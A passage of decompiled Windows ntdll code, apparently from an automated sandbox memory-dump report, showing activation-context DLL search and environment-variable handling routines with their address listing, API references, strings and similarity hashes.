						_t243 = (_t241 & 0x0000ffff) + 2;
						__eflags = _t243 - 0xfffe;
						if(_t243 > 0xfffe) {
							_t370 = 0xc0000106;
							goto L2;
						} else {
							_t339 = _t329 + 8;
							__eflags = _t339;
							if(_t339 == 0) {
								L28:
								_t244 = E6C03D690(0, _t339, _t243);
								__eflags = _t244;
								if(_t244 < 0) {
									L69:
									_t370 = 0xc0000017;
									goto L2;
								}
								_t361 = _v52;
								_t339 = _t329 + 8;
								L30:
								 *((intOrPtr*)(_t329 + 4)) =  *_t339;
								 *((short*)(_t329 + 2)) =  *((intOrPtr*)(_t329 + 0x10));
								__eflags = _t361;
								if(_t361 == 0) {
									L35:
									_t247 = 0;
									_v44 = 0;
									__eflags = _v48;
									if(_v48 != 0) {
										while(1) {
											_t362 = _v56;
											_t248 =  *(_t362 + _t247 * 8) & 0x0000ffff;
											_t375 = _t248;
											_t361 =  *((intOrPtr*)(_t362 + 4 + _v44 * 8)) + _v136;
											_v68 = _t248;
											_v84 = _t248;
											_v80 = _t375;
											_t251 = ( *_t329 & 0x0000ffff) + 2 + _t375;
											_v64 = _t361;
											_t372 = _v60;
											__eflags = _t251 - 0xfffe;
											if(_t251 > 0xfffe) {
												break;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L77:
												_t252 = E6C03D690(0, _t339, _t251);
												__eflags = _t252;
												if(_t252 < 0) {
													goto L69;
												}
												_t361 = _v64;
												_t339 = _t329 + 8;
												L79:
												_t340 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t340;
												memmove(_t340 + (( *_t329 & 0x0000ffff) >> 1) * 2, _t361, _v80);
												_t341 =  *_t329 & 0x0000ffff;
												_t379 = _t379 + 0xc;
												_t364 = _v84 + _t341 & 0x0000ffff;
												 *_t329 = _t364;
												 *((short*)(_t329 + 2)) = _v68 + 2 + _t341;
												_t361 = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t364 >> 1) * 2)) = 0;
												_t339 = _t329 + 8;
												_t247 = _v44 + 1;
												_v44 = _t247;
												__eflags = _t247 - _v48;
												if(_t247 != _v48) {
													continue;
												}
												goto L36;
											}
											__eflags = _t251 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t251 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L79;
											}
											goto L77;
										}
										L85:
										_t370 = 0xc0000106;
										goto L2;
									}
									L36:
									_t265 =  *(_v152 + 4);
									__eflags = _t265 & 0x00000001;
									if((_t265 & 0x00000001) != 0) {
										L46:
										__eflags = _t265 & 0x00000004;
										if(__eflags != 0) {
											_t361 = _t329;
											_push( &_v40);
											_t370 = E6C093F4D(_t329, _t329, _t368, _t372, __eflags);
											__eflags = _t370;
											if(_t370 < 0) {
												goto L2;
											}
											_t361 = _v40;
											 *_t329 = 0;
											_t270 = (_t361 & 0x0000ffff) + 2;
											__eflags = _t270 - 0xfffe;
											if(_t270 <= 0xfffe) {
												_t376 = _t329 + 8;
												__eflags = _t376;
												if(_t376 == 0) {
													L93:
													_t271 = E6C03D690(0, _t376, _t270);
													__eflags = _t271;
													if(_t271 >= 0) {
														_t361 = _v40;
														L96:
														_t344 =  *_t376;
														 *((intOrPtr*)(_t329 + 4)) = _t344;
														memmove(_t344 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v36, _t361 & 0x0000ffff);
														_t192 = ( *_t329 & 0x0000ffff) + _v40 + 2; // 0x20002
														 *((short*)(_t329 + 2)) = _t192;
														_t278 = ( *_t329 & 0x0000ffff) + _v40 & 0x0000ffff;
														 *_t329 = _t278;
														_t361 = 0;
														 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t278 >> 1) * 2)) = 0;
														goto L47;
													}
													_t370 = 0xc0000017;
													goto L2;
												}
												__eflags = _t270 -  *((intOrPtr*)(_t329 + 0x10));
												if(_t270 <=  *((intOrPtr*)(_t329 + 0x10))) {
													goto L96;
												}
												goto L93;
											}
											_t370 = 0xc0000106;
											goto L2;
										}
										L47:
										_t280 = _v88;
										__eflags = _t280;
										if(_t280 != 0) {
											 *_t280 =  *_t280 | 0x00000002;
										}
										_t370 = 0;
										goto L2;
									}
									__eflags = _t265 & 0x00000008;
									if((_t265 & 0x00000008) != 0) {
										_t370 = E6C023690(1,  &_v76, 0x6bfe1810,  &_v48);
										__eflags = _t370;
										if(_t370 >= 0) {
											_t366 = _v76 + 0xfffe - _v48;
											_t372 = _v60;
											_t288 = _v72 + ((_v48 & 0x0000ffff) >> 1) * 2 + 2;
											_t339 = _t329 + 8;
											L39:
											_v46 = _t366;
											_t361 = _t366 & 0x0000ffff;
											 *_t372 =  *_t372 + _t361;
											__eflags =  *_t372 - 0xffff;
											_v56 = _t288;
											_v68 = _t361;
											if( *_t372 >= 0xffff) {
												goto L85;
											}
											_t291 = ( *_t329 & 0x0000ffff) + 2 + _t361;
											__eflags = _t291 - 0xfffe;
											if(_t291 > 0xfffe) {
												_t370 = 0xc0000106;
												goto L2;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L43:
												_t292 = E6C03D690(0, _t339, _t291);
												__eflags = _t292;
												if(_t292 < 0) {
													_t370 = 0xc0000017;
													goto L2;
												}
												_t361 = _v68;
												_t339 = _t329 + 8;
												L45:
												_t351 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t351;
												memmove(_t351 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v56, _t361);
												_t379 = _t379 + 0xc;
												_t353 = ( *_t329 & 0x0000ffff) + _v46;
												 *((short*)(_t329 + 2)) = _t353 + 2;
												_t298 = _t353 & 0x0000ffff;
												 *_t329 = _t298;
												_t361 = 0;
												__eflags = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t298 >> 1) * 2)) = 0;
												_t265 =  *(_v152 + 4);
												goto L46;
											}
											__eflags = _t291 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t291 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L45;
											}
											goto L43;
										}
										__eflags = _t370 - 0xc0000225;
										if(_t370 == 0xc0000225) {
											E6C0A5100(_t339, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x477, "Status != STATUS_NOT_FOUND");
											_t370 = 0xc00000e5;
										}
										goto L2;
									}
									_t288 = _v72;
									_t366 = _v76;
									goto L39;
								}
								 *_t329 = 0;
								_t304 = ( *_t361 & 0x0000ffff) + 2;
								__eflags = _t304 - 0xfffe;
								if(_t304 > 0xfffe) {
									_t370 = 0xc0000106;
									goto L2;
								}
								__eflags = _t339;
								if(_t339 == 0) {
									L71:
									_t305 = E6C03D690(0, _t339, _t304);
									__eflags = _t305;
									if(_t305 >= 0) {
										_t361 = _v52;
										_t339 = _t329 + 8;
										L34:
										_t356 =  *_t339;
										 *((intOrPtr*)(_t329 + 4)) = _t356;
										memmove(_t356 + (( *_t329 & 0x0000ffff) >> 1) * 2,  *(_t361 + 4),  *_t361 & 0x0000ffff);
										_t357 = _v52;
										_t379 = _t379 + 0xc;
										_t367 =  *_t329 & 0x0000ffff;
										 *((short*)(_t329 + 2)) = ( *_t357 & 0x0000ffff) + 2 + _t367;
										_t316 = ( *_t357 & 0x0000ffff) + _t367 & 0x0000ffff;
										 *_t329 = _t316;
										_t361 = 0;
										__eflags = 0;
										 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t316 >> 1) * 2)) = 0;
										_t339 = _t329 + 8;
										goto L35;
									}
									_t370 = 0xc0000017;
									goto L2;
								}
								__eflags = _t304 -  *((intOrPtr*)(_t329 + 0x10));
								if(_t304 >  *((intOrPtr*)(_t329 + 0x10))) {
									goto L71;
								}
								goto L34;
							}
							__eflags = _t243 -  *((intOrPtr*)(_t329 + 0x10));
							if(_t243 <=  *((intOrPtr*)(_t329 + 0x10))) {
								goto L30;
							}
							goto L28;
						}
					}
					_t360 = 0;
					_v44 = 0;
					__eflags = _t226 & 0x00000004;
					if((_t226 & 0x00000004) != 0) {
						_push("sxsisol_SearchActCtxForDllName");
						_push( *((intOrPtr*)( *[fs:0x18] + 0x24)));
						E6C095720(0x33, 0, "[%x.%x] SXS: %s - Relative redirection plus env var expansion.\n",  *((intOrPtr*)( *[fs:0x18] + 0x20)));
						goto L57;
					}
					_t323 = _v120;
					__eflags = _t323 & 0x00000001;
					if((_t323 & 0x00000001) != 0) {
						__eflags = _t323 & 0x00000002;
						if((_t323 & 0x00000002) != 0) {
							E6C0A5100(0, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x41b, "!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)");
							_t370 = 0xc00000e5;
							goto L2;
						}
						_t360 = 1;
					}
					__eflags = _t323 & 0x00000002;
					if((_t323 & 0x00000002) != 0) {
						_t360 = _t360 | 0x00000002;
					}
					_t361 = _t368;
					_t370 = E6C03C63D(_t360, _t368, _v124,  &_v52, _t360,  &_v44);
					__eflags = _t370;
					if(_t370 < 0) {
						__eflags = _t370 - 0xc0000120;
						if(_t370 == 0xc0000120) {
							_t328 = _v44;
							__eflags = _t328;
							if(_t328 < 0) {
								_t370 = _t328;
							}
						}
						goto L2;
					} else {
						_t334 = _v152;
						_t361 = _v132;
						goto L22;
					}
				}
				if(_t370 == 0xc0150001) {
					_t370 = 0xc0150008;
				}
				goto L2;
			}

0x6c022990
0x6c0229a2
0x6c0229a9
0x6c0229ae
0x6c0229b1
0x6c0229b8
0x6c0229c4
0x6c0229c7
0x6c0229d1
0x6c0229d8
0x6c0229db
0x6c0229de
0x6c0229e3
0x6c0229e6
0x6c0229e9
0x6c0229ec
0x6c0229ef
0x6c0229f4
0x6c022a02
0x6c022a0b
0x6c022a12
0x6c022a19
0x6c022a25
0x6c022a29
0x6c022a89
0x6c022a8d
0x6c06d3f9
0x6c022a37
0x6c022a37
0x6c022a3a
0x6c022a3f
0x6c022a43
0x6c06d6ed
0x6c06d6f4
0x6c06d6f9
0x6c06d6f9
0x6c022a4c
0x6c022a4f
0x6c022a4f
0x6c022a52
0x6c022a57
0x6c022a5b
0x6c022a5b
0x6c022a60
0x6c022a68
0x6c022a6e
0x6c022d15
0x6c022d15
0x6c022a86
0x6c022a86
0x6c022a93
0x6c022a9a
0x6c022a9d
0x6c06d428
0x6c06d428
0x00000000
0x6c06d428
0x6c022aa3
0x6c022aaa
0x00000000
0x00000000
0x6c022ab0
0x6c022ab6
0x6c022ab9
0x6c022abc
0x00000000
0x00000000
0x6c022ac2
0x6c022ac5
0x6c022aca
0x00000000
0x00000000
0x6c022ad0
0x6c022adb
0x6c022add
0x00000000
0x00000000
0x6c022ae3
0x6c022ae6
0x6c022ae9
0x6c022aeb
0x00000000
0x00000000
0x6c022af1
0x6c022af4
0x6c022af6
0x6c022b42
0x6c022b4b
0x6c022b4e
0x6c022b51
0x6c022b58
0x6c022b61
0x6c022b63
0x6c022b66
0x6c022b68
0x6c022b6b
0x6c06d473
0x6c06d473
0x6c06d475
0x6c06d475
0x6c06d47c
0x6c06d47f
0x6c06d482
0x6c06d486
0x6c06d488
0x00000000
0x00000000
0x6c06d48d
0x6c06d490
0x6c06d493
0x6c06d498
0x6c06d49a
0x00000000
0x00000000
0x6c06d4a1
0x6c06d4a3
0x00000000
0x00000000
0x6c06d4ab
0x6c06d4b0
0x6c06d4b6
0x6c06d4b7
0x6c06d4b9
0x6c06d4bc
0x6c06d4bf
0x00000000
0x00000000
0x6c06d4c4
0x00000000
0x6c06d4c4
0x00000000
0x6c06d475
0x6c022b71
0x6c022b71
0x6c022b74
0x6c022b77
0x6c022b79
0x6c022b7e
0x6c022b7e
0x6c022b80
0x6c022b82
0x6c022b82
0x6c022b88
0x6c022b8b
0x6c022b90
0x6c06d4cc
0x00000000
0x6c022b96
0x6c022b96
0x6c022b99
0x6c022b9b
0x6c022ba2
0x6c022ba6
0x6c022bab
0x6c022bad
0x6c06d4d6
0x6c06d4d6
0x00000000
0x6c06d4d6
0x6c022bb3
0x6c022bb6
0x6c022bb9
0x6c022bbb
0x6c022bc2
0x6c022bc6
0x6c022bc8
0x6c022c3e
0x6c022c3e
0x6c022c40
0x6c022c43
0x6c022c46
0x6c06d50c
0x6c06d50c
0x6c06d512
0x6c06d51a
0x6c06d51c
0x6c06d522
0x6c06d525
0x6c06d52e
0x6c06d531
0x6c06d533
0x6c06d536
0x6c06d539
0x6c06d53e
0x00000000
0x00000000
0x6c06d544
0x6c06d546
0x6c06d54d
0x6c06d551
0x6c06d556
0x6c06d558
0x00000000
0x00000000
0x6c06d55e
0x6c06d561
0x6c06d564
0x6c06d567
0x6c06d56f
0x6c06d576
0x6c06d57b
0x6c06d57e
0x6c06d586
0x6c06d58f
0x6c06d596
0x6c06d59a
0x6c06d5a1
0x6c06d5a5
0x6c06d5ab
0x6c06d5ac
0x6c06d5af
0x6c06d5b2
0x00000000
0x00000000
0x00000000
0x6c06d5b8
0x6c06d548
0x6c06d54b
0x00000000
0x00000000
0x00000000
0x6c06d54b
0x6c06d630
0x6c06d630
0x00000000
0x6c06d630
0x6c022c4c
0x6c022c52
0x6c022c55
0x6c022c57
0x6c022cfe
0x6c022cfe
0x6c022d00
0x6c06d651
0x6c06d653
0x6c06d659
0x6c06d65b
0x6c06d65d
0x00000000
0x00000000
0x6c06d663
0x6c06d669
0x6c06d66f
0x6c06d672
0x6c06d677
0x6c06d683
0x6c06d686
0x6c06d688
0x6c06d68f
0x6c06d693
0x6c06d698
0x6c06d69a
0x6c06d6a6
0x6c06d6aa
0x6c06d6aa
0x6c06d6b8
0x6c06d6bf
0x6c06d6ce
0x6c06d6d1
0x6c06d6d5
0x6c06d6da
0x6c06d6e2
0x6c06d6e4
0x00000000
0x6c06d6e4
0x6c06d69c
0x00000000
0x6c06d69c
0x6c06d68a
0x6c06d68d
0x00000000
0x00000000
0x00000000
0x6c06d68d
0x6c06d679
0x00000000
0x6c06d679
0x6c022d06
0x6c022d06
0x6c022d09
0x6c022d0b
0x6c022d39
0x6c022d39
0x6c022d0d
0x00000000
0x6c022d0d
0x6c022c5d
0x6c022c5f
0x6c06d5d1
0x6c06d5d3
0x6c06d5d5
0x6c06d617
0x6c06d61d
0x6c06d625
0x6c06d628
0x6c022c6c
0x6c022c6c
0x6c022c70
0x6c022c73
0x6c022c75
0x6c022c7b
0x6c022c7e
0x6c022c81
0x00000000
0x00000000
0x6c022c8d
0x6c022c8f
0x6c022c94
0x6c06d63a
0x00000000
0x6c06d63a
0x6c022c9a
0x6c022c9c
0x6c022ca3
0x6c022ca7
0x6c022cac
0x6c022cae
0x6c06d644
0x00000000
0x6c06d644
0x6c022cb4
0x6c022cb7
0x6c022cba
0x6c022cbd
0x6c022cc5
0x6c022ccc
0x6c022cd4
0x6c022cd7
0x6c022cde
0x6c022ce2
0x6c022ce7
0x6c022cef
0x6c022cef
0x6c022cf1
0x6c022cfb
0x00000000
0x6c022cfb
0x6c022c9e
0x6c022ca1
0x00000000
0x00000000
0x00000000
0x6c022ca1
0x6c06d5d7
0x6c06d5dd
0x6c06d5f7
0x6c06d5fc
0x6c06d5fc
0x00000000
0x6c06d5dd
0x6c022c65
0x6c022c68
0x00000000
0x6c022c68
0x6c022bcc
0x6c022bd2
0x6c022bd5
0x6c022bda
0x6c06d4e0
0x00000000
0x6c06d4e0
0x6c022be0
0x6c022be2
0x6c06d4ea
0x6c06d4ee
0x6c06d4f3
0x6c06d4f5
0x6c06d501
0x6c06d504
0x6c022bf1
0x6c022bf1
0x6c022bf3
0x6c022c06
0x6c022c0b
0x6c022c0e
0x6c022c11
0x6c022c1e
0x6c022c28
0x6c022c2d
0x6c022c35
0x6c022c35
0x6c022c37
0x6c022c3b
0x00000000
0x6c022c3b
0x6c06d4f7
0x00000000
0x6c06d4f7
0x6c022be8
0x6c022beb
0x00000000
0x00000000
0x00000000
0x6c022beb
0x6c022b9d
0x6c022ba0
0x00000000
0x00000000
0x00000000
0x6c022ba0
0x6c022b90
0x6c022af8
0x6c022afa
0x6c022b01
0x6c022b03
0x6c06d406
0x6c06d40b
0x6c06d420
0x00000000
0x6c06d425
0x6c022b09
0x6c022b0c
0x6c022b0e
0x6c022d27
0x6c022d29
0x6c06d446
0x6c06d44b
0x00000000
0x6c06d44b
0x6c022d2f
0x6c022d2f
0x6c022b14
0x6c022b16
0x6c022d1f
0x6c022d1f
0x6c022b1f
0x6c022b2f
0x6c022b31
0x6c022b33
0x6c06d455
0x6c06d45b
0x6c06d461
0x6c06d464
0x6c06d466
0x6c06d46c
0x6c06d46c
0x6c06d466
0x00000000
0x6c022b39
0x6c022b39
0x6c022b3f
0x00000000
0x6c022b3f
0x6c022b33
0x6c022a31
0x6c06d3ef
0x6c06d3ef
0x00000000

APIs

memset.1105(?,00000000,0000003C,?,00000000,?), ref: 6C0229D1
RtlFindActivationContextSectionString.1105(00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C022A20
RtlpEnsureBufferSize.1105(00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C022BA6
memmove.1105(6BFE4F84,00000000,6BFE4F84,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C022C06
RtlpEnsureBufferSize.1105(00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C022CA7
memmove.1105(00000000,00000001,00000000,00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000), ref: 6C022CCC
RtlReleaseActivationContext.1105(?,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C022D15
RtlpEnsureBufferSize.1105(00000000,?,-00000002,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C06D4EE

Strings

!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT), xrefs: 6C06D432
minkernel\ntdll\sxsisol.cpp, xrefs: 6C06D43C, 6C06D5ED
Status != STATUS_NOT_FOUND, xrefs: 6C06D5E3
sxsisol_SearchActCtxForDllName, xrefs: 6C06D406
[%x.%x] SXS: %s - Relative redirection plus env var expansion., xrefs: 6C06D417
Internal error check failed, xrefs: 6C06D441, 6C06D5F2
@, xrefs: 6C0229C7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureRtlpSize$ActivationContextmemmove$FindReleaseSectionStringmemset
String ID: !(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)$@$Internal error check failed$Status != STATUS_NOT_FOUND$[%x.%x] SXS: %s - Relative redirection plus env var expansion.$minkernel\ntdll\sxsisol.cpp$sxsisol_SearchActCtxForDllName
API String ID: 2718660278-761764676
Opcode ID: c5117ded4f2a73952875136f0bcb691decaa6163849993760e29ef13e2a6f968
Instruction ID: 3a37adb9d92b4021499557ea27a10c5d11e8d707207d3978ed60742aef488d05
Opcode Fuzzy Hash: c5117ded4f2a73952875136f0bcb691decaa6163849993760e29ef13e2a6f968
Instruction Fuzzy Hash: C9127070A102158BDB14CF99C890BEEB7F5FF09318F5540A9E849EBB50E738E945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C032F70, Relevance: 41.1, APIs: 27, Instructions: 610
memorythreadCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6C032F70(void* _a4, void* _a8, signed int _a12, void* _a16, intOrPtr _a20) {
				long _v8;
				signed int _v12;
				char _v20;
				void* _v29;
				char _v30;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				long _v56;
				void* _v60;
				void* _v64;
				long _v68;
				char _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				signed short _v88;
				signed int _v92;
				signed short _v96;
				signed int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				void* __ebx;
				void* __ebp;
				signed int _t223;
				long _t226;
				signed int _t227;
				intOrPtr _t229;
				void* _t233;
				void* _t244;
				short* _t247;
				void* _t248;
				short* _t251;
				void* _t252;
				void _t253;
				signed int _t262;
				signed int _t266;
				signed short* _t267;
				signed int _t268;
				void* _t269;
				void* _t279;
				void* _t281;
				void _t299;
				signed int _t315;
				signed int _t325;
				void* _t328;
				void* _t329;
				void* _t330;
				signed int _t333;
				void* _t336;
				void* _t337;
				void* _t343;
				void* _t348;
				void* _t349;
				void* _t350;
				void* _t351;
				void* _t352;
				intOrPtr _t353;
				void* _t355;
				void* _t360;
				signed int _t365;
				signed int _t366;
				short* _t369;
				void* _t370;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t380;
				signed short _t381;
				signed short _t382;
				signed int _t389;
				void* _t390;
				void* _t392;
				void* _t393;
				void* _t395;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t403;
				void* _t406;
				short* _t407;
				void* _t408;
				short* _t409;
				void* _t412;
				int _t413;
				void* _t414;
				void* _t415;
				short* _t416;
				signed int _t419;
				int _t421;
				int _t422;
				signed int _t423;
				int _t424;
				int _t425;
				signed int _t427;
				void* _t428;
				intOrPtr _t429;
				int _t430;
				void* _t433;
				short* _t434;
				int _t436;
				int _t437;
				signed int _t438;
				signed int _t441;
				void* _t442;
				void* _t443;
				void* _t445;

				_push(0xfffffffe);
				_push(0x6c0dff28);
				_push(0x6c0517f0);
				_push( *[fs:0x0]);
				_t443 = _t442 - 0x5c;
				_t223 =  *0x6c0fd360;
				_v12 = _v12 ^ _t223;
				_push(_t223 ^ _t441);
				 *[fs:0x0] =  &_v20;
				_v52 = 0;
				_v68 = 0;
				_v29 = 0;
				_v30 = 0;
				_t419 = _a12;
				if(_t419 == 0) {
					L100:
					_t226 = 0xc000000d;
					L65:
					 *[fs:0x0] = _v20;
					return _t226;
				}
				_t348 = _a8;
				if( *_t348 == 0) {
					goto L100;
				} else {
					_t227 = 1;
					while(_t227 < _t419) {
						_t389 =  *(_t348 + _t227 * 2) & 0x0000ffff;
						if(_t389 == 0 || _t389 == 0x3d) {
							goto L100;
						} else {
							_t227 = _t227 + 1;
							_t348 = _a8;
							continue;
						}
					}
					_t349 = _a16;
					__eflags = _t349;
					if(_t349 == 0) {
						L12:
						_t229 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						_t336 =  *((intOrPtr*)(_t229 + 0x10));
						_v44 = _t336;
						_v108 = _t336;
						_v56 = 0;
						_v72 = 0;
						_t350 = _a4;
						__eflags = _t350;
						if(_t350 != 0) {
							_t351 =  *_t350;
							_v36 = _t351;
							__eflags =  *(_t336 + 0x48) - _t351;
							if( *(_t336 + 0x48) != _t351) {
								L14:
								_v8 = 0;
								_t406 = _t351;
								_v40 = _t406;
								_t337 = 0;
								_v48 = 0;
								__eflags = _t351;
								if(_t351 == 0) {
									L60:
									_t230 = _v72;
									__eflags = _t230;
									if(_t230 != 0) {
										_t406 = _t230;
										_v40 = _t406;
									}
									__eflags = _t337;
									if(_t337 == 0) {
										__eflags = _a16;
										if(_a16 == 0) {
											goto L62;
										}
										__eflags = _t406;
										if(_t406 == 0) {
											_t353 = _a20;
											_t233 = 6 + (_t419 + _t353) * 2;
											_t390 = 0;
											L74:
											_v80 = _t233;
											__eflags = _t233 - _t390;
											if(_t233 < _t390) {
												_t162 = _t353 + 2; // 0x2
												memmove(_t406 + (_t162 + _t419) * 2, _t406, _t337 - _t406 & 0xfffffffe);
												_t421 = _t419 + _t419;
												memcpy(_t406, _a8, _t421);
												_t445 = _t443 + 0x18;
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6c0f8220, 0, 0x234);
													_t445 = _t445 + 0xc;
												}
												_t407 = _t406 + _t421;
												_v40 = _t407;
												 *_t407 = 0x3d;
												_t408 = _t407 + 2;
												_v40 = _t408;
												_t422 = _a20 + _a20;
												memcpy(_t408, _a16, _t422);
												_t409 = _t408 + _t422;
												_v40 = _t409;
												_t230 = 0;
												 *_t409 = 0;
												_v40 = _t409 + 2;
												__eflags = _a4;
												if(_a4 != 0) {
													goto L63;
												} else {
													_t352 = _v44;
													 *((intOrPtr*)(_t352 + 0x48)) = _v36;
													_t230 = _v80;
													 *((intOrPtr*)(_t352 + 0x290)) = _v80;
													 *((intOrPtr*)(_t352 + 0x294)) =  *((intOrPtr*)(_t352 + 0x294)) + 1;
													goto L64;
												}
											}
											_t355 = E6C0336CC(_t233);
											_v76 = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												L106:
												_v56 = 0xc000009a;
												goto L62;
											}
											__eflags = _t406;
											if(_t406 == 0) {
												_t423 = 0;
											} else {
												_t392 = _v36;
												_t427 = _t406 - _t392;
												__eflags = _t427;
												_t423 = _t427 >> 1;
												memcpy(_t355, _t392, _t423 + _t423);
												_t443 = _t443 + 0xc;
												_t355 = _v76;
											}
											_t244 = _t355 + _t423 * 2;
											_v64 = _t244;
											_t424 = _a12 + _a12;
											memcpy(_t244, _a8, _t424);
											_t247 = _v64 + _t424;
											 *_t247 = 0x3d;
											_t248 = _t247 + 2;
											_v64 = _t248;
											_t425 = _a20 + _a20;
											memcpy(_t248, _a16, _t425);
											_t251 = _v64 + _t425;
											 *_t251 = 0;
											_t252 = _t251 + 2;
											__eflags = _t406;
											if(_t406 == 0) {
												 *_t252 = 0;
												_t338 = _v29;
											} else {
												memcpy(_t252, _t406, _t337 - _t406 & 0xfffffffe);
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6c0f8220, 0, 0x234);
												}
											}
											_t360 = _a4;
											_t253 = _v76;
											__eflags = _t360;
											if(_t360 != 0) {
												 *_t360 = _t253;
											} else {
												_t360 = _v44;
												 *(_t360 + 0x48) = _t253;
												 *((intOrPtr*)(_t360 + 0x290)) = _v80;
												_t146 = _t360 + 0x294;
												 *_t146 =  *(_t360 + 0x294) + 1;
												__eflags =  *_t146;
											}
											__eflags = _v30;
											if(_v30 != 0) {
												E6C01EB70(_t360,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
												_v30 = 0;
											}
											_t230 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
											goto L63;
										}
										_v48 = _t406;
										while(1) {
											L69:
											_t262 =  *_t406 & 0x0000ffff;
											__eflags = _t262;
											if(_t262 == 0) {
												break;
											}
											while(1) {
												_t406 = _t406 + 2;
												_v48 = _t406;
												__eflags = _t262;
												if(_t262 == 0) {
													goto L69;
												}
												_t262 =  *_t406 & 0x0000ffff;
											}
										}
										_v48 = _t406 + 2;
										_t390 = E6C0335D0(_t351,  *( *[fs:0x30] + 0x18), 0, _t351);
										_t337 = _v48;
										_t365 = (_t337 - _v36 >> 1) + _t419 + _a20;
										__eflags = _t365;
										_t233 = 4 + _t365 * 2;
										_t406 = _v40;
										_t353 = _a20;
										goto L74;
									} else {
										L62:
										_t338 = _v29;
										L63:
										_t352 = _v44;
										L64:
										_v8 = 0xfffffffe;
										E6C0335A1(_t230, _t338, _t352);
										_t226 = _v56;
										goto L65;
									}
								}
								_v64 = _v68;
								while(1) {
									L16:
									__eflags =  *_t406 - _t337;
									if( *_t406 == _t337) {
										break;
									}
									_t428 = _t406;
									_v76 = _t428;
									_t366 = 0;
									__eflags = 0;
									_v80 = 0;
									while(1) {
										_t406 = _t406 + 2;
										_v40 = _t406;
										_t266 =  *_t406 & 0x0000ffff;
										__eflags = _t266;
										if(_t266 == 0) {
											break;
										}
										__eflags = _t266 - 0x3d;
										if(_t266 != 0x3d) {
											continue;
										}
										_t366 = _t406 - _t428 >> 1;
										_v80 = _t366;
										_t406 = _t406 + 2;
										__eflags = _t406;
										_v40 = _t406;
										_t328 = _t406;
										_v52 = _t328;
										while(1) {
											__eflags =  *_t406 - _t337;
											if( *_t406 == _t337) {
												break;
											}
											_t406 = _t406 + 2;
											_v40 = _t406;
										}
										_t399 = _t406 - _t328;
										__eflags = _t399;
										_t400 = _t399 >> 1;
										_v64 = _t400;
										_v68 = _t400;
										break;
									}
									_t406 = _t406 + 2;
									_v40 = _t406;
									_t393 = _a8;
									_t267 = _t393;
									_v60 = _t393;
									_v84 = _t428;
									__eflags = _a12 - _t366;
									if(_a12 <= _t366) {
										_t366 = _a12;
									}
									_t367 = _t393 + _t366 * 2;
									_v104 = _t367;
									while(1) {
										__eflags = _t267 - _t367;
										if(_t267 >= _t367) {
											break;
										}
										_t381 =  *_t267 & 0x0000ffff;
										_v88 = _t381;
										_t401 = _t381 & 0x0000ffff;
										_v92 = _t401;
										_t382 =  *_t428 & 0x0000ffff;
										_v96 = _t382;
										_t438 = _t382 & 0x0000ffff;
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											L37:
											_t267 =  &(_t267[1]);
											_v60 = _t267;
											_t428 = _v84 + 2;
											_v84 = _t428;
											_t367 = _v104;
											continue;
										}
										_t367 =  *0x6c0f6d5c;
										__eflags = _t401 - 0x61;
										if(_t401 >= 0x61) {
											__eflags = _t401 - 0x7a;
											if(_t401 > 0x7a) {
												_t315 = ( *( *0x6c0f6d5c + (( *(_t367 + (_t401 >> 8) * 2) & 0x0000ffff) + (_t401 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t401 & 0x0000000f);
												_t367 =  *0x6c0f6d5c;
												_t401 =  *((intOrPtr*)(_t367 + _t315 * 2)) + _v88 & 0x0000ffff;
